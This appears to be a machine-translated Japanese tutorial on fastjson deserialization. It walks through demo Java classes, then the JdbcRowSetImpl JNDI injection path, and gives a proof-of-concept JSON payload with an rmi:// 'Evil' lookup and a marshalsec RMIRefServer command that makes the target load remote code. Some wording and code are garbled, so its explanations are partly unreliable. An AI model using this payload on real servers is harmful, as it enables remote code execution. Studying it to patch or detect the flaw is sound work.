x01
x02 fastjsonデシリアライズ機能
よく言われるのは、fastjsonのシリアライズはjavaオブジェクトからjson文字列へのシリアライズであり、デシリアライズはjson文字列からjavaオブジェクトへのシリアライズです。
- fastjson シリアライズのデモ:
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args){
User user = new User();
user.setName("axin");
user.setAge(18);
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
ユーザークラスの1つは以下の通りです:
public class User {
private int age;
public String name;
public void sayHello(){
System.out.println("Hello, I am "+name);
}
public void getName(){
System.out.println(name);
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
}
Testクラスを実行すると、次のようなjson文字列が得られます:
- fastjson デシリアライズのデモ
例えば {"name", "axin", "age": 18} がデシリアライズされると、対応するオブジェクトのsetNameメソッドとsetAgeメソッドが自動的に呼び出されます。
Userクラスを少し修正します:
public class User {
private int age;
public String name;
public void sayHello(){
System.out.println("Hello, I am "+name);
}
public void getName(){
System.out.println(name);
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
System.out.println("コールされたsetAge");
}
public void setName(String name) {
this.name = name;
System.out.println("called setName");
}
}
次に、新しいデシリアライズ・クラスを作成します:
import com.alibaba.fastjson.JSON;
public class JsonToObj {
public static void main(String[] args){
String str = "{"age":18,"name":"axin"}";
User user = JSON.parseObject(str, User.class);
}
}
このクラスを実行すると以下の結果が得られ、デシリアライズ処理によって setXXX メソッドが呼び出されたことがわかります:
実際、fastjsonのデシリアライズは2つのAPIがあり、1つは上記のデモで使われているparseObject()、もう1つはparse()メソッドで、両者の主な違いは、前者はJSONObjectを返し、後者はオブジェクトの実際の型を返すということです。JSON.parseObject を使用してデータを取得します。
そして、JSON.parseObject()メソッドの直接使用でjson文字列をデシリアライズするsetXXXメソッドの対応するオブジェクトを呼び出すために起こっていない、その後、どのように直接JSON.parseObject()setXXXメソッドを呼び出すためにオブジェクトのデシリアライズを使用することができます、答えは次の比較を参照してくださいに@type属性を使用することです:
type属性を追加することで、対応するオブジェクトのsetXXXメソッドを呼び出せることがわかりますが、では@type属性は何のためにあるのでしょうか?実は、上記のデモから1つか2つは分かるはずなのですが、どのクラスにデシリアライズされるjson文字列を指定するためです。この属性は、水を得た魚のように脆弱性を悪用することができます。
ps: fastjsonのデシリアライズは、デフォルトではパブリック・プロパティしかデシリアライズできません。プライベート・プロパティもデシリアライズしたい場合は、次のようにFeature.SupportNonPublicFieldパラメータを追加する必要があります:
JSON.parseObject(myJSON, User.class, Feature.SupportNonPublicField);
0x03 fastjson デシリアライズ - JNDI 攻撃ベクトル
上記の知識があれば、fastjsonのデシリアライズを使ってコマンドを実行する方法を考えることができるはずですよね。は、@type属性を利用して、自動的にsetXXXメソッドを呼び出し、クラスが見つかれば、setXXXメソッドのクラスを丁寧に構築してコマンド実行を完了させるというものです。
com.sun.rowset.JdbcRowSetImplがそのようなクラスである場合、このクラスにはそれぞれ setDataSourceName () と setAutoCommit () という 2 つの set メソッドがあります:
データソース名
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
自動コミット
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
ここでのconnectメソッドは典型的なjndi lookupメソッド呼び出しを持っており、パラメータはsetDataSourceNameで設定されたdataSourceNameであることがわかります。
具体的なコードは分析されませんが、fastjsonのデシリアライズ処理は、おそらく最初のjsonデータの解析であり、私は個人的に、この分析は、物理的な仕事であると信じて、行のステップバイステップでデバッグし、書き出す必要はありません。その後、今、上記の2つのsetXXXメソッドに問題があることを知って、どのようにpocを構築するには?次の行:
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://.1:1099/Evil", "autoCommit":true}}
悪意のあるrmiオブジェクトのdataSourceName値を可視化し、rmiオブジェクトを登録するために独自のコードを書いています:
https://github.com/marshalsec
使用説明書に記載されているmavenツールを使って独自のjarパッケージを生成し、そのツールを使ってrmiサーバーを素早く構築し、悪意のあるリモートオブジェクトを以下のコマンドを使って登録する必要があります:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://...1:8000"/#Evil
ここで、悪意のあるオブジェクトは、ポート8000で実行されているウェブサービスにローカルに置かれます。
電卓で遊んでください。
みんな、僕は正しいことをしたと思いますか?





